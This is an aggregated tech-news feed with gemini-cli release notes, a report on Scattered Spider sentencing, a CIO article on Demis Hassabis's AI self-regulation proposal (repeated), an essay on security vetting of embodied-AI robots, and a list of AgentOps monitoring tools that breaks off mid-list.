Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the results read cross-sectionally rather than as a month-over-month trend, and at 107 respondents this is a directional signal rather than a precise measurement — the sample is self-selected, skews mid-market, and leans toward earlier-stage adopters rather than the largest hyperscale operators. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with buyer-credible purchasing authority, across Technology/Software, Healthcare/Life Sciences, Financial Services, Retail/E-commerce, and other industries.


Release v0.52.0-preview.0
Thu, 16 Jul 2026 19:16:58 +0200
What's Changed

Refactor: exclude transient CI configuration files from workspace context by @DavidAPierce in #28216
feat(caretaker-triage): add triage worker core foundational modules by @chadd28 in #28163
feat(caretaker-egress): implement octokit github action handler for egress service by @chadd28 in #28303
chore(release): bump version to 0.52.0-nightly.20260707.g27a3da3e8 by @gemini-cli-robot in #28323
Changelog for v0.51.0-preview.0 by @gemini-cli-robot in #28320
Changelog for v0.50.0 by @gemini-cli-robot in #28322
fix(core-tools): bypass LLM correction for JSON and IPYNB files in write_file and replace by @amelidev in #28223
fix(core): use unambiguous previous intent label in fallback summary by @amelidev in #28343
feat(caretaker-triage): implement main worker execution loop and egress action publisher by @chadd28 in #28306
fix(privacy): show a clear message when the account has no Code Assist tier by @ompatel-aiml in #28304
fix(core): enrich shared project quota limit errors with setup hint by @amelidev in #28391
fix(a2a-server): ensure task cancellation aborts execution loop by @luisfelipe-alt in #28316
fix(core): simplify plan mode write policy to support relative paths by @DavidAPierce in #28398
feat(core): Bump node google-auth-library version to 10.9.0 by @jerrylin3321 in #28385
chore/release: bump version to 0.52.0-nightly.20260715.gfa975395b by @gemini-cli-robot in #28402

Full Changelog: v0.51.0-preview.0...v0.52.0-preview.0


Scattered Spider members jailed over Transport for London hack that cost £29 million
Thu, 16 Jul 2026 16:08:49 +0200
Two members of the notorious “Scattered Spider” hacking collective have been sentenced to five years and six months in prison each for a cyberattack on Transport for London (TfL) that disrupted services for thousands of commuters and cost the transport authority an estimated £29 million. Thalha Jubair, 20, of East London, and Owen Flowers, 18, of Walsall, pleaded guilty last month, on the day their trial was set to start. The National Crime Agency (NCA) … More →
The post Scattered Spider members jailed over Transport for London hack that cost £29 million appeared first on Help Net Security.


The new AI risk problem no one leader fully owns
Thu, 16 Jul 2026 16:02:49 +0200
Why CISOs are becoming the enterprise trust authority as AI governance breaks down.


Windows-Profildienst: Neuer Exploit ohne Patch
Thu, 16 Jul 2026 15:00:30 +0200
Windows-Profildienst: Neuer Exploit ohne Patch

      
      
        
          
            
                



            
          
        
              
    
  Daniel Richey
Do., 16.07.2026 - 14:30


            Ein Security-Forscher mit Hang zu spektakulären Enthüllungen legt erneut nach: Mit "LegacyHive" macht Chaotic Eclipse eine Schwachstelle im Windows-Profildienst öffentlich, die selbst frisch gepatchte Systeme angreifbar macht – und Microsoft schweigt bislang dazu.
      
    
          News
      
  
    Weiterlesen über Windows-Profildienst: Neuer Exploit ohne Patch
  


DeepMind CEO pushes for AI industry self-regulation
Thu, 16 Jul 2026 14:33:47 +0200

		
					  
						




Google DeepMind CEO Demis Hassabis is pushing for the US AI industry to self-regulate, with the support of government, as a starting point for an international creating shared international standards. In a blog post, he called for a focus on artificial general intelligence (AGI) and national security. 



But it is precisely that focus on national security that may make the results of such an effort, assuming it happens, less than palatable outside of the US.



“The rapid progress we’re seeing in AI requires a new approach to testing frontier AI model capabilities that is dynamic, adaptable, and rigorous,” Hassabis wrote. “The US is well positioned, given its economic and technical standing, to take the first step in developing such a framework. It could establish a new Standards Body modelled on a federally overseen public-private partnership or self-regulatory organization, much like the Financial Industry Regulatory Authority (FINRA), with a board that includes independent leading technical experts and open-source representatives.”



He noted, however, that the funding would need to be substantial, and would most likely come from industry, to allow the new body to attract world-class technical talent and obtain the necessary compute resources for large-scale testing.



Hassabis proposed that the organization “be responsible for developing assessment protocols and working with appropriate federal agencies and the US National Labs to conduct testing in areas relevant to national security,” and that AI vendor participants be encouraged to adopt best practices such as publishing model cards with technical details, maintaining strong internal cybersecurity, vetting key personnel, and providing sufficient resourcing for safety and security research.



This is not the first time Hassabis has expressed worries about AGI. 



DeepMind was involved in an earlier US government initiative evaluating AI safety, alongside Microsoft and xAI (now SpaceXAI) working with the Center for AI Standards and Innovation (CAISI), a division of the US Department of Commerce. It allowed CAISI to conduct pre-deployment evaluations and targeted research to “better assess frontier AI capabilities and advance the state of AI security.”  



The rest of the world may have concerns



Analysts and consultants were mixed about the move, with most expressing concerns about whether an industry-focused group would prioritize the public’s best interests.



“Self-regulation is not viable because it implies everyone is able to regulate themselves and will do so in line with the best interests of the public. Most tech vendors don’t have the capacity to self-regulate. They would just prefer a set of rules within which they can operate,” said Gartner VP analyst Nader Henein. “For-profit organizations are required to do what is best for their shareholders, and external regulation ensures that those organizations are never in a conflict of interest where they have to choose between what is good for their shareholders and what is good for the public.”



And, said Sanchit Vir Gogia, chief analyst at Greyhound Research, given the international nature of AI models, an effort coordinated by the US government might alienate other countries. 



“National security is the proposal’s accelerator in Washington and its poison pill abroad: the framing that opens the only gate available at home invites foreign capitals to read the institution as an instrument of American strategy,” he pointed out. 



“The map is already plural,” he said. “Brussels switches on enforcement powers over general-purpose models [starting in August 2026], London runs the AI Security Institute, and Beijing licenses on its own terms. California and New York have legislated for frontier models at home. The durable route is shared technical evidence with sovereign enforcement, sealed through mutual recognition rather than deference, with India and the other major non-Western markets holding authorship rather than seats.”



Gogia added that the rules enacted by even such a group may not address all of the key concerns of enterprise IT. A US government effort along the lines that Hassabis is proposing would result in testing that “sits close to intelligence and industrial policy, and those functions will not stay neatly separated. A model can pass every catastrophic-risk test and still fail the enterprise on privacy, reliability, and liability,” he noted.



Walmart’s former director of cybersecurity Steven Eric Fisher, who is now an independent cybersecurity consultant, said he found the proposal “well-intentioned, but it addresses a highly polarized topic at a time when commercial interests carry unprecedented political influence, which is not always applied benevolently.”



He added, “an exclusive US standard that is not globally respected or enforceable would likely fail to achieve its core purpose and would place US companies at a competitive disadvantage.”



Aman Mahapatra, chief strategy officer for Tribeca Softtech, a New York City-based technology consulting firm, said that a deep dive into how FINRA operates today is illustrative of what IT leaders can expect from this effort, assuming the industry adopts that model.



“When the CEOs of the five companies that would be regulated are also the primary drafters of the standards, the standards will reflect those companies’ interests. FINRA has an independent board, but the operational reality is that member firm perspectives dominate the working groups that write the actual rules,” he said. “There is no reason to expect an AI equivalent to work differently, and every reason to expect it to work worse, because AI standardization is happening faster than any industry has ever attempted to standardize itself, and speed is the enemy of independent oversight.”



Carmi Levy, an independent technology analyst, was even more emphatically opposed to the Hassabis proposal.



“Asking Big Tech companies to self-police is analogous to allowing foxes to guard the henhouse. It hasn’t worked to date, and it won’t work going forward. Expecting these organizations to somehow change their ways at this point in time represents the height of naïve thinking,” Levy said. “The framework proposed by Demis Hassabis is a self-serving roadmap for an industry bent on racing to the AI horizon regardless of the harms caused along the way. It is impossible to quantify the dangers to broader society should frameworks allowing self-regulation become the norm.”



Some love the proposal



An almost completely opposite stance came from Yuri Goryunov, CIO of consulting firm Acceligence, who applauded the proposed move.



“This is one of the rare setups where industry self-regulation has a real shot, and enterprise IT should be enthusiastically rooting for it,” he said. “It fails when harms are externalized, such as in social media content moderation. Or when the overseer outsources judgment to the overseen, such as the FAA’s delegation to Boeing before the 737 MAX. It works when everyone in the industry shares the catastrophic downside.”



He suggested, however, that the best precedent here isn’t FINRA, it’s INPO, the Institute of Nuclear Power Operations, which the nuclear industry created within months of the 1979 Three Mile Island partial reactor meltdown “on the logic that an accident anywhere is an accident everywhere. INPO peer-reviews every US plant, its evaluations move insurance premiums, and it sits on top of the NRC’s statutory floor. That is a public-private stack very close to what Hassabis is describing. Frontier AI has the same structure: one lab’s catastrophic failure brings regulation down on all of them.”



For enterprise CIOs and other IT executives, Goryunov said, that model has the potential for being a big win.



“Today, every enterprise duplicates the same AI diligence of red-teaming, eval suites, governance committees and each does so with less information than any certifying body would have,” Goryunov said. “A credible standards regime does for AI what UL did for electrical equipment and SOC2 did for cloud: it converts an unknowable risk into a procurable product and gives boards a defensible standard of care. That’s not red tape. That’s peace of mind with an audit trail.”



However, Mahapatra said, “the countervailing view is that the alternative to industry-led standards is probably not thoughtful legislation. It is probably no standards, or state-by-state fragmentation, or the current pattern of ex-post enforcement actions where regulators surface concerns years after harm has already occurred.” 



Thus, he noted, “Hassabis is making the reasonable argument that imperfect fast standards are better than perfect slow ones, and there is genuine merit to that view for topics like agent identity, evaluation methodology, and interoperability, which are exactly the areas OpenClaw is also targeting.”



DeepMind CEO pushes for AI industry self-regulation
Thu, 16 Jul 2026 14:33:34 +0200

		
					  
						




Google DeepMind CEO Demis Hassabis is pushing for the US AI industry to self-regulate, with the support of government, as a starting point for an international creating shared international standards. In a blog post, he called for a focus on artificial general intelligence (AGI) and national security. 



But it is precisely that focus on national security that may make the results of such an effort, assuming it happens, less than palatable outside of the US.



“The rapid progress we’re seeing in AI requires a new approach to testing frontier AI model capabilities that is dynamic, adaptable, and rigorous,” Hassabis wrote. “The US is well positioned, given its economic and technical standing, to take the first step in developing such a framework. It could establish a new Standards Body modelled on a federally overseen public-private partnership or self-regulatory organization, much like the Financial Industry Regulatory Authority (FINRA), with a board that includes independent leading technical experts and open-source representatives.”



He noted, however, that the funding would need to be substantial, and would most likely come from industry, to allow the new body to attract world-class technical talent and obtain the necessary compute resources for large-scale testing.



Hassabis proposed that the organization “be responsible for developing assessment protocols and working with appropriate federal agencies and the US National Labs to conduct testing in areas relevant to national security,” and that AI vendor participants be encouraged to adopt best practices such as publishing model cards with technical details, maintaining strong internal cybersecurity, vetting key personnel, and providing sufficient resourcing for safety and security research.



This is not the first time Hassabis has expressed worries about AGI. 



DeepMind was involved in an earlier US government initiative evaluating AI safety, alongside Microsoft and xAI (now SpaceXAI) working with the Center for AI Standards and Innovation (CAISI), a division of the US Department of Commerce. It allowed CAISI to conduct pre-deployment evaluations and targeted research to “better assess frontier AI capabilities and advance the state of AI security.”  



The rest of the world may have concerns



Analysts and consultants were mixed about the move, with most expressing concerns about whether an industry-focused group would prioritize the public’s best interests.



“Self-regulation is not viable because it implies everyone is able to regulate themselves and will do so in line with the best interests of the public. Most tech vendors don’t have the capacity to self-regulate. They would just prefer a set of rules within which they can operate,” said Gartner VP analyst Nader Henein. “For-profit organizations are required to do what is best for their shareholders, and external regulation ensures that those organizations are never in a conflict of interest where they have to choose between what is good for their shareholders and what is good for the public.”



And, said Sanchit Vir Gogia, chief analyst at Greyhound Research, given the international nature of AI models, an effort coordinated by the US government might alienate other countries. 



“National security is the proposal’s accelerator in Washington and its poison pill abroad: the framing that opens the only gate available at home invites foreign capitals to read the institution as an instrument of American strategy,” he pointed out. 



“The map is already plural,” he said. “Brussels switches on enforcement powers over general-purpose models [starting in August 2026], London runs the AI Security Institute, and Beijing licenses on its own terms. California and New York have legislated for frontier models at home. The durable route is shared technical evidence with sovereign enforcement, sealed through mutual recognition rather than deference, with India and the other major non-Western markets holding authorship rather than seats.”



Gogia added that the rules enacted by even such a group may not address all of the key concerns of enterprise IT. A US government effort along the lines that Hassabis is proposing would result in testing that “sits close to intelligence and industrial policy, and those functions will not stay neatly separated. A model can pass every catastrophic-risk test and still fail the enterprise on privacy, reliability, and liability,” he noted.



Walmart’s former director of cybersecurity Steven Eric Fisher, who is now an independent cybersecurity consultant, said he found the proposal “well-intentioned, but it addresses a highly polarized topic at a time when commercial interests carry unprecedented political influence, which is not always applied benevolently.”



He added, “an exclusive US standard that is not globally respected or enforceable would likely fail to achieve its core purpose and would place US companies at a competitive disadvantage.”



Aman Mahapatra, chief strategy officer for Tribeca Softtech, a New York City-based technology consulting firm, said that a deep dive into how FINRA operates today is illustrative of what IT leaders can expect from this effort, assuming the industry adopts that model.



“When the CEOs of the five companies that would be regulated are also the primary drafters of the standards, the standards will reflect those companies’ interests. FINRA has an independent board, but the operational reality is that member firm perspectives dominate the working groups that write the actual rules,” he said. “There is no reason to expect an AI equivalent to work differently, and every reason to expect it to work worse, because AI standardization is happening faster than any industry has ever attempted to standardize itself, and speed is the enemy of independent oversight.”



Carmi Levy, an independent technology analyst, was even more emphatically opposed to the Hassabis proposal.



“Asking Big Tech companies to self-police is analogous to allowing foxes to guard the henhouse. It hasn’t worked to date, and it won’t work going forward. Expecting these organizations to somehow change their ways at this point in time represents the height of naïve thinking,” Levy said. “The framework proposed by Demis Hassabis is a self-serving roadmap for an industry bent on racing to the AI horizon regardless of the harms caused along the way. It is impossible to quantify the dangers to broader society should frameworks allowing self-regulation become the norm.”



Some love the proposal



An almost completely opposite stance came from Yuri Goryunov, CIO of consulting firm Acceligence, who applauded the proposed move.



“This is one of the rare setups where industry self-regulation has a real shot, and enterprise IT should be enthusiastically rooting for it,” he said. “It fails when harms are externalized, such as in social media content moderation. Or when the overseer outsources judgment to the overseen, such as the FAA’s delegation to Boeing before the 737 MAX. It works when everyone in the industry shares the catastrophic downside.”



He suggested, however, that the best precedent here isn’t FINRA, it’s INPO, the Institute of Nuclear Power Operations, which the nuclear industry created within months of the 1979 Three Mile Island partial reactor meltdown “on the logic that an accident anywhere is an accident everywhere. INPO peer-reviews every US plant, its evaluations move insurance premiums, and it sits on top of the NRC’s statutory floor. That is a public-private stack very close to what Hassabis is describing. Frontier AI has the same structure: one lab’s catastrophic failure brings regulation down on all of them.”



For enterprise CIOs and other IT executives, Goryunov said, that model has the potential for being a big win.



“Today, every enterprise duplicates the same AI diligence of red-teaming, eval suites, governance committees and each does so with less information than any certifying body would have,” Goryunov said. “A credible standards regime does for AI what UL did for electrical equipment and SOC2 did for cloud: it converts an unknowable risk into a procurable product and gives boards a defensible standard of care. That’s not red tape. That’s peace of mind with an audit trail.”



However, Mahapatra said, “the countervailing view is that the alternative to industry-led standards is probably not thoughtful legislation. It is probably no standards, or state-by-state fragmentation, or the current pattern of ex-post enforcement actions where regulators surface concerns years after harm has already occurred.” 



Thus, he noted, “Hassabis is making the reasonable argument that imperfect fast standards are better than perfect slow ones, and there is genuine merit to that view for topics like agent identity, evaluation methodology, and interoperability, which are exactly the areas OpenClaw is also targeting.”



This article first appeared on CIO.



When AI gets a body, it inherits an attack surface
Thu, 16 Jul 2026 12:09:41 +0200

		
					  
						




Most security leaders I know working on AI robotics are being shown the same kind of video. A humanoid folds a shirt, sorts a bin, walks a warehouse aisle and a vendor uses the clip to move an embodied AI system from pitch to purchase order. Someone then has to sign off. Robot demos create procurement momentum before security teams receive the artifacts needed to evaluate the system as cyber-physical infrastructure.



Before the book, I prepared cloud infrastructure operating in China and the United States for cybersecurity compliance audits and for the Multi-Level Protection Scheme, China’s mandatory security-grading regime that determines whether a system is allowed to operate. That work taught me a lesson I carry into every AI conversation now. You cannot secure what you cannot see into, and the buyer rarely sees in. A demo makes it worse. It shows one task, completed once, under conditions the vendor chose. None of what a security team must evaluate is on screen.



This used to be a research-lab problem. It is now a procurement line item. The risk changed when embodied AI moved from a research demo to a purchase order.  Vendors are asking security teams to approve embodied AI before the category has audit evidence, logging norms, supplier transparency or a shared-responsibility model.



Embodied AI puts a model inside a machine that operates in the physical world: a robot, an arm, a humanoid. Once a model gains motors, sensors and a body, it ceases to be a software endpoint and becomes a cyber-physical system. It inherits hardware, firmware, a supply chain, an installer and a set of remote-access paths. Every one of those is an attack surface that the demo video doesn’t show. An embodied system is sold like software and behaves like a fleet of networked machinery on your floor.



Evaluate these systems across five questions: provenance, access, integrity, evidence and accountability. Here is what each means.



Evaluation question #1: Provenance



What is inside, and who controls it? A humanoid is an assembly of actuators, lidar units, battery packs, joint modules and controllers, most from a supply chain the buyer never vetted, each running firmware the buyer cannot read. Software teams already fought this fight, which is why the software bill of materials became standard practice. Lack of transparency creates systemic risk. Embodied systems raise the stakes because the firmware now lives in dozens of parts that move. The risk does not depend on whether the robot is Chinese, American, German or Japanese. It depends on how much of the system the buyer can see: the hardware, firmware, remote-access paths and maintenance relationships behind it.  China installs more industrial robots than any other country and sits near the center of the battery supply chain, as well as parts of the lidar and machine-vision supply base, which these systems draw on. Lidar, short for Light Detection and Ranging, uses pulsed laser beams to map an environment in 3D; machine vision handles optical inspection and guidance. Much of that lineage traces to suppliers your team has no relationship with. This is the hardware and firmware version of the third-party risk NIST’s supply chain guidance was written for, except that the component has motors. Demand a hardware and firmware bill of materials, then use it. Flag unsigned firmware. Map which supplier holds update authority for each part. Require a way to verify integrity, and treat any component you cannot identify as unmanaged.



Evaluation question #2: Access



Who can reach the fleet? Someone installs these machines, someone services them and the vendor pushes software updates.  Where teleoperation is part of the support model, treat it as a privileged remote-access path, not a convenience feature.  Each is a standing path into a machine that moves and lifts. Security teams have seen this story before. Operational Technology (OT) security went mainstream once industrial systems joined IT networks, and the recurring failure is unmanaged remote access that nobody inventoried. According to one industry survey, roughly half of attacks on OT assets originate in an IT network breach. SolarWinds showed why a trusted update channel deserves scrutiny when one delivered a backdoor to thousands of networks. Embodied systems add the harder part. The compromised endpoint can move. A remote operator on that channel can drive a machine and push code to every unit at once. Treat the fleet like high-value OT. Inventory every remote path, segment it from the production network, default to deny, require signed and verified updates, apply privileged-access controls to vendor maintenance, and treat an always-on teleoperation link as a backdoor until it is governed.



Evaluation question #3: Integrity



Whether the machine can be made to misperceive or misbehave. Researchers have shown that lidar spoofing can cause an autonomous system to brake for an obstacle that is not there or miss one that is. The same class of sensor and model manipulation, on a humanoid sharing a floor with people, produces motion, not a wrong answer on a screen. This is where safety engineering and security part ways. Functional safety stops hazardous motion when a component fails. It plans for accidents. Security plans for an adversary. A hardwired safety circuit can stay independent of the control plane, and a good one does. What it does not tell you is how an attacker reached that control plane, altered the model’s inputs or seized the fleet-management path. Ask the vendor to threat-model sensor spoofing and model manipulation as a path to physical motion. Then ask how you will even know it happened. A spoofed sensor does not announce itself. It shows up as a machine acting incorrectly with confidence.



Picture the failure in plain terms. A warehouse robot takes a routine vendor update that changes how it navigates. The buyer cannot verify the firmware, cannot identify the supplier of the sensor module and has no logs to distinguish a spoofed sensor from a model error. The machine keeps moving, and no one can say why.



Evaluation question #4: Evidence



Whether the claims are true. You have not found an independent audit of embodied-AI field performance, so the uptime and reliability numbers come from the vendor. You are buying a claim, not a track record. Require independently verified uptime, intervention rate and incident history from a named deployment you can call. “Cutting-edge” is not a control.



Evaluation question #5: Accountability



Who owns the risk when it fails? Cloud taught security teams shared responsibility the hard way, after years of arguing which side of the line a breach fell on. Embodied AI arrives without that model, and the stakes are physical: the machine can injure someone. In my compliance work, the question that decided everything was always who is accountable when this thing breaks. Put it in the contract. Define the responsibility boundary, an incident-disclosure timeline, a right to audit and liability for physical harm. A vendor who will not commit in writing is showing you who bears the risk.



These five questions share one root. For a decade, the security question was whether you could trust what a model generates. The embodied question is who can reach the machine and what they can make it do. A demo answers neither.



Before any embodied system reaches your floor, make these five demands of the vendor.




Provenance. A hardware and firmware bill of materials with named suppliers, integrity verification and a vulnerability-disclosure record. No bill of materials, no deal.



Access. A full map of who installs, who services and every update and teleoperation path, with segmentation, default-deny and signed updates required.



Integrity. A threat model for sensor spoofing and model manipulation that treats the failure as physical motion, plus logging that a defender can use.



Evidence. Independently verified uptime, intervention and incident history from a named deployment you can call.



Accountability. A contract that defines the responsibility boundary, incident-disclosure timelines, audit rights and liability for physical harm.




The robot demo is built to make you feel the future has arrived. My job, and now yours, is the unglamorous question behind it. Ask what the machine’s attack surface looks like once it is bolted to your floor, wired to your network and updated by someone you have never met.



This article is published as part of the Foundry Expert Contributor Network.
Want to join?



19 AgentOps tools for monitoring AI activity, issues, and costs
Thu, 16 Jul 2026 12:09:36 +0200

		
					  
						




With AI increasingly tucked into every cranny of the enterprise, someone has had to step up and provide the tools necessary to discover, track, and monitor all the agents and LLMs and keep them humming along in their various workflows. Thankfully, the DevOps world answered the call, building the tools to support our new overlords in an emerging subdiscipline interchangeably called “AIOps,” “AgentOps,” and sometimes “agent observability.”



Many of the challenges involved in AgentOps are similar to those tackled by traditional DevOps tools and processes. After all, at their foundation, LLMs are just software running on hardware somewhere. Typical issues involving RAM and disk space are just as important in the agent world, maybe more so because AI operations are even more greedy about consuming storage than regular software is.



Many of the companies supporting agent observability are big names in DevOps circles, having adapted their stacks to address the idiosyncrasies of modern LLMs. IT teams maintaining enterprise agents can treat the LLMs as just one node in a big graph filled with services that are constantly swapping packets and triggering software jobs. Latency and resource constraints must be managed because end-users don’t care whether it’s an LLM, a database, or a plain-old Python script that’s failing, bringing their work to a grinding halt.



But new AI-specific challenges are opening the door to newcomers that are building tools with the peculiarities of LLMs in mind — for example, keeping deeper logs filled with records of prompts. LLMs are also often very non-deterministic by design, making it trickier to pinpoint failure modes. And then there’s the fact that an agent will give a perfectly intelligent answer one minute and hallucinate the next.



Relying on many of the same approaches that DevOps tools do, AgentOps tools watch for misbehavior and flag anything out of the ordinary for deeper analysis. This may be as simple as fixing slow responses, but it can also include AI hallucinations and other issues born of LLMs’ non-determanism.



Teams trying to choose which agent observability tools is best for their use case should look at the size and nature of their agentic systems and projects. Are they adding AI agent features to an existing product or application, or are they building agentic systems from scratch? Are they more focused on maintaining a stable LLM operation or iterating on new approaches? Is AI the center of attention or just an add-on that’s meant to improve an existing stack?

The AgentOps and agent observability options listed below share many of the same features but differ in their focus and their attention to the challenges organizations will encounter when incorporating agents into their stacks. Each tool offers a worthwhile place to start understanding how to care for the growing presence of AI in the production world.



AgentOps.ai



When teams of agents work together, tracking the conversations are essential for understanding and debugging what’s happening. The SDK from AgentOps.ai records events so that the creators can replay past behavior to track details such as token counts, spending, latency, and more. Available as a service and on-premises.



Pricing: Starts at $40 per month plus usage costs at $0.20 per 1M tokens



Standout feature: Replay analytics with “time-travel debugging”



Best suited for: Complex agent debugging



Arize Phoenix



Debugging prompts and LLM responses requires a nuanced understanding of just what’s happening, in part because of the non-determinism that often enters the process. Phoenix from Arize supports this process with robust tracing and the ability to score the results for more precise iteration. Their system can track the results and tool calls from a variety of major platforms (Anthropic, AWS, OpenAI, etc.) that are initiated by the major frameworks (LangChain, LlamaIndex, DSPy, etc.). The result is insight into what data is triggering what chain of responses.



Pricing: Small free tier; Pro plan starts at $50 per month plus costs tied to events



Standout feature: LLM-as-a-Judge metrics for tracking quality



Best suited for: Teams focusing on iterating for accuracy and quality



BigPanda



BigPanda has always offered solutions for tracking performance of complex systems. Now the company is drilling deeper into the challenge of detecting and ending the problems that come from models that go awry. BigPanda’s main system relies on historical data and machine learning algorithms to flag issues. Its own agent layer connects the problematic nodes and errant models while dispatching alerts to the right team members.



Pricing: “Value-based” table on request



Standout feature: Automated triage for faster response



Best suited for: Large teams seeking to reduce alert fatigue from large customer base



Braintrust



Setting up an effective improvement cycle for an AI agent requires a strong feedback loop from production data to the agent’s next generation. Braintrust watches the production workload and creates test vectors that expose how an agent may be drifting, regressing, or departing from its path. The tool automates much of the testing and scoring feedback loop so problematic patterns can be discovered and addressed. A core part of the offering is a specialized data store that can track large and sometimes deeply nested collections of tests and their results. Their approach may be summarized by one of their tag lines: “trace everything.”



Pricing: Free starter tier; Pro plan starts at $249 with some usage-based costs covered



Standout feature: Highly scalable trace ingestion



Best for: Teams developing strong guardrails through continuous testing



Chronicle Labs



When it’s time to release a new version of an agent into the wild, the platform from Chronicle Labs specializes in staging it and testing it with a collection of use tests and regression cases. The tools are also helpful during development cycles. “Backtest your agent against reality,” their sales material promises, with a set of tools that mines the production telemetry for solid test vectors that stress every part of the agent with prompts and challenges that the agent will encounter after leaving the safety of the lab.



Pricing: On request



Standout feature: Back-testing options for complex testing regimes



Best for: Teams chasing strong models with good fidelity to reality



Comet Opik



Building a dashboard for tracking every in-flow and out-flow to agents is one way to be ready to watch for and solve problems. Opik from Comet is just such a tool. The DevOps teams can track each call and add its own automated routines to examine the results, score them based on 30-plus metrics, and if desired, send it off to another LLM to evaluate the results. Agents that are constantly failing stand out. DevOps teams can also ask questions like, “Who is using this model and racking up all of the bills?” The same goes for MCP skills and other cogs in the machine.



Pricing: Free tiers for open source and small projects; Pro plan starts at $19 per month with usage limits



Standout feature: Auto-scoring with 30-plus metrics for evaluating traces



Best for: Teams focusing on RAG and agentic workflows



Datadog



DevOps teams that rely on Datadog to track logs across collections of services can also use it to track LLM operations, which are, of course, just another source and sink for data. It will track performance such as time to first token and offer insight into what might be causing an issue, such as lack of memory. Results then get plugged into the same cost-tracking mechanism so the bean counters can predict when the budget will run out. After all, the CFO likely doesn’t care whether the bill comes from an LLM or an old-school S3 storage bucket. Datadog integrates AI into their tools by treating these models as just another source of data.



Pricing: Small free tier with multiple paid tiers for various levels of enterprise monitoring



Standout feature: Large installed base with broad focus on more than LLMs



Best for: Large enterprise teams working with established infrastructure



Dynatrace



For more than 20 years, Dynatrace has been delivering tools that track dataflows across the full stack. Now that AIs are finding roles in many of the nodes in this complex graph, they’re expanding to track how various AI agents can interact. They want to build one platform that helps track the root cause and, often now, deploy solutions autonomously. They want to focus on being ready to support complex networks of agents that detect problems in either performance or security and then work within defined guardrails to fix them. Determining the right role for their own AI-powered agents is a key part of the product.



Pricing: Plans start at $7 per month with larger plans designed for full enterprise monitoring



Standout feature: High level of autonomous monitoring designed for large installations



Best for: Complex, hybrid environments mixing LLMs with traditional services



Galileo



Placing some AI systems into production is often a harrowing experience because the actual performance is impossible to predict, even with the most rigorous tests. Galileo offers guardrails that track performance and watch for any behavior that deviates from the ground truth. Their “LLM-as-judge” systems are distilled into compact models that can be run locally for lower costs and faster performance.



Pricing: Small free tier; Pro plans start at $50 per month with usage-based limits and costs



Standout feature: Real-time guardrails for deployed agents



Best for: Security-conscious installations that need to defend against hallucination and data leakage



Grafana Labs



Long the go-to source for open source telemetry, Grafana Labs now tracks performance of AI models in constellations of services. Grafana tracks the evolution of answers across the agentic network to recognize how small changes or hallucinations can spin out of control. It bills its system as “actually useful AI” and has even trademarked it. Its cloud assistant can configure and reconfigure the Grafana dash to offer the right level of observability. Its system includes AI-level analysis that can flag models that are responding quickly but offering bad answers because of problems such as model drift or context degradation.



Pricing: Basic free tier; Pro plan begins at $19 per month, includes better retention and some usage-based fees 



Standout feature: Full-stack tool with fully integrated LLM tools



Best for: Large, enterprise-scale system adding AI



Helicone



Sometimes shoehorning in another tool into the chain can be tricky. Helicone is designed as a smart network proxy that will route all model requests while keeping solid debugging records from the data as it goes by. The data it captures can be turned into nice charts that make it easy to spot latency issues or model failures. Naturally, tracking AI spend is also a feature in much demand as bills continue to climb.



Pricing: Small free tier; Pro plan starts at $79 per month, includes features such as team collaboration and improved querying



Standout feature: Proxy-based integration



Best for: Development teams who want to add better monitoring features quickly



Laminar



Tracking agents in development and production means building strong storehouses of data enumerating what happened. Laminar works closely with OpenTelemetry to follow agents operating in production so that flaws and failure modes can be understood from log files stored efficiently with their own compression scheme. Developers can search through traces with an SQL-ish language and Laminar’s transcript view illuminates what happened. When necessary, the traces can enable developers to scroll back in time and replay the same inputs for debugging. The goal is to offer deep insights with high-level visibility of how well the agents are meeting business objectives.



Pricing: Small free tier; “Hobby” tier that adds more features at $30; Pro level starts at $150 per month



Standout feature: Open-source license makes self-hosting a viable option



Best for: Teams fully able to leverage open-source responsibilities



LangChain LangSmith



Real-time data from agents is essential for managing any mutli-agent system in production. LangSmith from LangChain traces costs, tools, and progress toward solutions for a wide collection of agents using SDKs for Python, TypeScript, Go, and Java. The OpenTelemetry-based solution watches for anomalies, issuing warnings and alerts through dashboards and communication channels such as PagerDuty. Deeper analysis can reveal issues such as topic clustering or odd patterns of failure. Coordination with agent deployment platforms such as LangGraph and deepagents ensures greater focus on successful resolution of assignments.



Pricing: Free for solo developers; Pro teams start at $39 per person per month 



Standout feature: Systematic approach to regression testing of prompts



Best for: Teams relying on LangChain and LangGraph frameworks for supporting complex agentic behavior



Lunary



Watching the user experience is essential for building AI applications such as chatbots and assistants. Lunary offers a proxy that traces all interactions and then builds analytical dashboards for measuring metrics such as user satisfaction or model costs. One common usage is finding frequent topics and looking at the responses to ensure they deliver. When prompts aren’t perfect, Lunary lets teams iterate on the prompt text until the right answers are coming out. Its proxy structure and common API format enables Lunary to promise to work with “any LLM, any framework.”



Pricing: Free tier; Pro plan starts at $20 per month



Standout feature: Deep integration with humans for reviewing and optimizing results



Best for: Startups focused on rapid prompt innovation



NewRelic



The platform that began tracking performance of some web applications is now powerful enough to track the flows of data through complex agentic ecologies. NewRelic’s AI-driven monitoring watches for golden signals that can indicate misbehavior or worse throughout the entire lifecycle. It tracks every detail of the interactions through protocols such as MCP and then makes this available to the AI engineers responsible for performance. The dashboard provides the insights necessary to watch for toxic behavior, overt bias, drift, and overblown hallucinations. Predicting and maybe even controlling the cost is also a growing role as tokenomics becomes as important as response time.



Pricing: Free tier; Pro plan fees available through website



Standout feature: Full-stack support with hundreds of integrations with other tools



Best for: Established enterprise teams mixing in AI



Nova AI Ops



The goal of Nova AI Ops is to deliver a team of agents that watch over a cloud and make it, at least partially, self-healing. Each agent uses a mixture of predictive AI and machine learning to watch cloud telemetry reports for anomalies. Then they calculate the “blast radius” and decide whether this is a problem that can be fixed automatically “while you sleep” or saved for the human supervisors. These tools are aimed not just on LLM operations but on the stack as a whole.



Pricing: Small free tier; Standard pricing  begins at $40 per user per month with usage billing



Standout feature: Focus on software reliability engineering helps teams deliver stable stacks



Best for: Teams that want to integrate LLMs into incident response and stability management



Splunk



The platform that began delivering smart logging is now fully AI capable, offering solutions that can watch over agents with much the same way that it continues to track microservices. Splunk now includes a fairly large amount of predictive AI for learning from the information in the logs and then turning this learning into fast solutions. This AI assistant can track deployed AI models connected by protocols such as MCP and watch over behavior while delivering the ability for users to drill down and explore what’s working and what’s failing. Their AI Canvas is meant to offer a central hub where the AI scientists can track both the local behavior of the models as well as their role in a larger data ecosystem.



Pricing: Activity-based pricing tracks usage of LLM backends and storage



